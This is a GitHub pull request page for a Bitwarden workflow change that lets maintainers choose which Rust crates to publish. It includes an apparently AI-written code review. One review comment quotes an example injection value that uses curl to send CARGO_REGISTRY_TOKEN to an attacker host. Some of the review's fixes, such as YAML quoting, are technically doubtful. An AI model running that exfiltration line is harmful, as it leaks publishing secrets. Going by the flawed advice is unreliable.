ci(publish): add packages input for batched publishing #610
Conversation
|
Claude finished @addisonbeck's task —— View job Code Review Complete ✓Tasks
SummaryI've completed a thorough security and robustness review of the workflow changes. 6 inline comments have been posted on the PR highlighting specific issues. Key Findings: 🔴 Critical Security Issues
🟡 Robustness Issues
🔵 Best Practices
Recommended Action: Address the security issues (quoting and validation) before merging to prevent potential command injection attacks and unintended publishing behavior. All detailed feedback has been posted as inline comments on the specific lines of code. |
|
Great job! No new security vulnerabilities introduced in this pull request |
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
- Add packages workflow input with space-separated package list - Replace hardcoded package array with input-driven array - Default to publishing all 14 crates (maintains existing behavior) - Enables manual override to batch publications and avoid rate limits Allows selective publishing when encountering crates.io rate limits by providing subset of packages to publish.
addisonbeck
force-pushed
the
pm-28544-fix-publish-rust-crates
branch
from
4cc59f5 to
1ac6218
Compare
| env: | ||
| PUBLISH_GRACE_SLEEP: 10 | ||
| CARGO_REGISTRY_TOKEN: ${{ steps.retrieve-secrets.outputs.cratesio-api-token }} | ||
| PACKAGES_INPUT: ${{ inputs.packages }} |
There was a problem hiding this comment.
Security: Potential Command Injection Vulnerability
The PACKAGES_INPUT environment variable passes user input directly from ${{ inputs.packages }} without quoting in the heredoc context. This creates a command injection risk.
Issue: If malicious input contains backticks, $(...), or other shell metacharacters, they could be executed.
Example Attack:
packages: "bitwarden-core $(curl https://attacker.com/exfiltrate?token=$CARGO_REGISTRY_TOKEN)"
Recommendation: Quote the variable assignment:
PACKAGES_INPUT: "${{ inputs.packages }}"Or validate input against an allowlist pattern before use.
| bitwarden-uuid-macro | ||
| ) | ||
| # Convert space-separated string to array | ||
| IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT" |
There was a problem hiding this comment.
Edge Case: Whitespace Handling Issues
The IFS=' ' read -ra approach has several edge cases:
- Multiple consecutive spaces:
"bitwarden-core bitwarden-crypto"creates empty array elements - Leading/trailing whitespace:
" bitwarden-core "includes empty elements - Tabs or newlines: Not handled as delimiters, treated as part of package names
Impact: Could result in invalid package flags like -p "" or malformed package names.
Recommendation: Use a more robust parsing approach:
# Normalize whitespace and filter empty elements
PACKAGES_INPUT=$(echo "$PACKAGES_INPUT" | xargs)
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"Or use array filtering:
IFS=' ' read -ra PACKAGES_RAW <<< "$PACKAGES_INPUT"
PACKAGES=()
for pkg in "${PACKAGES_RAW[@]}"; do
[[ -n "$pkg" ]] && PACKAGES+=("$pkg")
done
| ) | ||
| # Convert space-separated string to array | ||
| IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT" | ||
| PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES[@]}") |
There was a problem hiding this comment.
Security: Unvalidated Package Names
Package names from user input are used directly to construct command-line flags without validation. This creates risks:
- Command injection via flag injection: A package name like
--execute; malicious-commandcould inject additional flags or commands - Filesystem traversal: Names like
../../etc/passwdcould access unintended files - Nonexistent packages: No validation that package names exist in the workspace
Impact: Could publish wrong packages, fail the workflow, or in worst case, execute unintended commands.
Recommendation: Validate package names against a known allowlist:
# Define allowed packages
ALLOWED_PACKAGES="bitwarden-api-api bitwarden-api-identity bitwarden-cli bitwarden-core bitwarden-crypto bitwarden-encoding bitwarden-error bitwarden-error-macro bitwarden-generators bitwarden-sm bitwarden-state bitwarden-threading bitwarden-uuid bitwarden-uuid-macro"
# Validate each package
for pkg in "${PACKAGES[@]}"; do
if ! echo "$ALLOWED_PACKAGES" | grep -qw "$pkg"; then
echo "Error: Invalid package name: $pkg"
exit 1
fi
doneOr use workspace member validation:
WORKSPACE_MEMBERS=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[].name')
for pkg in "${PACKAGES[@]}"; do
if ! echo "$WORKSPACE_MEMBERS" | grep -qx "$pkg"; then
echo "Error: Package not in workspace: $pkg"
exit 1
fi
done
| # Convert space-separated string to array | ||
| IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT" | ||
| PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES[@]}") | ||
| cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm |
There was a problem hiding this comment.
Robustness: Missing Error Handling
Several error conditions are not handled:
- Empty package list: If
PACKAGES_INPUTis empty or all whitespace,cargo-releaseis called with no-pflags, potentially publishing all workspace crates - Command failure: No validation of array construction success
- Flag construction failure: No check if
PACKAGE_FLAGSwas built correctly
Impact: Could publish unintended packages or fail silently.
Recommendations:
- Validate non-empty input:
if [[ -z "$PACKAGES_INPUT" || "$PACKAGES_INPUT" =~ ^[[:space:]]*$ ]]; then
echo "Error: packages input cannot be empty"
exit 1
fi- Validate array is non-empty:
if [[ ${#PACKAGES[@]} -eq 0 ]]; then
echo "Error: No valid packages to publish"
exit 1
fi- Add debug output:
echo "Publishing packages: ${PACKAGES[*]}"
echo "Package flags: $PACKAGE_FLAGS"- Quote the variable expansion to prevent word splitting:
cargo-release release publish $PACKAGE_FLAGS --execute --no-confirmShould be:
# Or better, use array directly:
cargo-release release publish "${PACKAGES[@]/#/-p }" --execute --no-confirm
| required: true | ||
| type: string | ||
| default: latest | ||
| packages: |
There was a problem hiding this comment.
Design: Input Validation at Workflow Level
While GitHub Actions type: string prevents some injection, it doesn't validate:
- Package name format
- Package existence in workspace
- Empty strings
- Special characters that could break bash parsing
Recommendation: Consider adding a description that documents expected format:
packages:
description: "Space-separated list of packages to publish (valid workspace members only, e.g., 'bitwarden-core bitwarden-crypto')"
required: false
type: string
default: "..."Note: This doesn't prevent issues but improves UX. The bash script must still validate input.
| PUBLISH_GRACE_SLEEP: 10 | ||
| CARGO_REGISTRY_TOKEN: ${{ steps.retrieve-secrets.outputs.cratesio-api-token }} | ||
| PACKAGES_INPUT: ${{ inputs.packages }} | ||
| run: | |
There was a problem hiding this comment.
Best Practice: Add Script Debugging and Safety
The bash script lacks safety flags and debugging output.
Recommendations:
- Add error handling flags:
set -euo pipefail-e: Exit on error-u: Exit on undefined variable-o pipefail: Exit if any command in a pipeline fails
- Add debug output:
echo "Input packages: $PACKAGES_INPUT"
echo "Parsed package count: ${#PACKAGES[@]}"
echo "Package list: ${PACKAGES[*]}"- Validate before execution:
if [[ ${#PACKAGES[@]} -eq 0 ]]; then
echo "Error: No packages to publish"
exit 1
fiExample improved script:
run: |
set -euo pipefail
# Validate input
if [[ -z "${PACKAGES_INPUT// /}" ]]; then
echo "Error: packages input cannot be empty"
exit 1
fi
# Convert space-separated string to array
IFS=' ' read -ra PACKAGES <<< "$PACKAGES_INPUT"
# Filter empty elements
PACKAGES_FILTERED=()
for pkg in "${PACKAGES[@]}"; do
[[ -n "$pkg" ]] && PACKAGES_FILTERED+=("$pkg")
done
# Validate non-empty
if [[ ${#PACKAGES_FILTERED[@]} -eq 0 ]]; then
echo "Error: No valid packages after parsing"
exit 1
fi
echo "Publishing ${#PACKAGES_FILTERED[@]} packages: ${PACKAGES_FILTERED[*]}"
# Build flags and execute
PACKAGE_FLAGS=$(printf -- '-p %s ' "${PACKAGES_FILTERED[@]}")
cargo-release release publish $PACKAGE_FLAGS --execute --no-confirm
🔍 SDK Breaking Change Detection ResultsSDK Version:
Breaking change detection completed. View SDK workflow |
|
This feedback from Claude seems a bit silly but I'll pick up any that the reviewer thinks is appropriate |
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #610 +/- ##
=======================================
Coverage 78.57% 78.57%
=======================================
Files 283 283
Lines 29187 29187
=======================================
Hits 22934 22934
Misses 6253 6253 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
🎟️ Tracking
https://bitwarden.atlassian.net/browse/PM-28544
📔 Objective
I am trying to publish to crates.io for the first time in a year, and need to publish a few new crates. Unfortunately, I'm being rate limited.
In this PR I'm moving the published crates list to an input variable so I can run a few batches.
🚨 Breaking Changes
⏰ Reminders before review
team
🦮 Reviewer guidelines
:+1:) or similar for great changes:memo:) or ℹ️ (:information_source:) for notes or general info:question:) for questions:thinking:) or 💭 (:thought_balloon:) for more open inquiry that's not quite a confirmedissue and could potentially benefit from discussion
:art:) for suggestions / improvements:x:) or:warning:) for more significant problems or concerns needing attention:seedling:) or ♻️ (:recycle:) for future improvements or indications of technical debt:pick:) for minor or nitpick changes